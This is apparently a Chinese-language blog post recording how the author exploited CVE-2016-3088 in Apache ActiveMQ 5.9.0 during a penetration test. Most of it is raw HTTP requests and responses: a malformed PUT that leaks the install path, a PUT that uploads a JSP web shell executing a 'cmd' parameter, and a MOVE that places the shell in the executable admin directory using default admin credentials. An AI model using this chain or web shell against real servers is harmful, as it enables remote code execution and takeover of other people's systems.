ActiveMQ漏洞(CVE-2016-3088)利用

背景

又是一次工作渗透,又一次遇到了ActiveMQ,不过这回的版本为5.9.0,存在已知漏洞。

参考知道创宇Paper文章,直接开始记录利用过程。

漏洞信息

2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。

ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,同时可以利用HTTP MOVE方法将文件移动到指定的位置。

漏洞利用

爆路径

通过构造特殊的文件路径可以爆出ActiveMQ的绝对路径。

// 请求
PUT /fileserver/%80/%80 HTTP/1.1
Host: 172.17.1.111:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 1

a
// 响应
HTTP/1.1 500 /home/webuser/apache-activemq-5.9.0/webapps/fileserver/€/€ (Not a directory)
Content-Length: 0
Server: Jetty(7.6.9.v20130131)

文件上传

利用PUT方法,可以将文件上传到/fileserver目录下。

// 请求
PUT /fileserver/cmd.jsp HTTP/1.1
Host: 172.17.1.111:8161
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 355

<%@ page import="java.io.*" %>

<%
	out.print("Hello </br>");
	
	String strcmd = request.getParameter("cmd");
	String line = null;

	Process p = Runtime.getRuntime().exec(strcmd);
	BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
	
	while((line = br.readLine()) != null ){
		out.print(line + "</br>");
	}
%>
// 响应
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(7.6.9.v20130131)

上面的请求将在fileserver目录下创建一个cmd.jsp文件,通过浏览器访问会发现无法成功执行,这是因为fileserver目录没有执行权限。

移动文件

不仅仅是fileserver目录没有执行权限,尝试后发现上级目录webapps也不能执行,唯独admin目录可以。

试着上传蚁剑的马,添加基础认证头后一样无法连接后只好用知道创宇Paper中的cmd马。

移动上传的马到admin目录。

// 请求
MOVE /fileserver/cmd.jsp HTTP/1.1
Host: 172.17.1.111:8161
Authorization: Basic YWRtaW46YWRtaW4=
Destination: file:///home/webuser/apache-activemq-5.9.0/webapps/admin/cmd.jsp
Content-Length: 17

Content-Length: 0
// 响应
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(7.6.9.v20130131)

执行命令

参考:Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)分析

发表评论

电子邮件地址不会被公开。 必填项已用*标注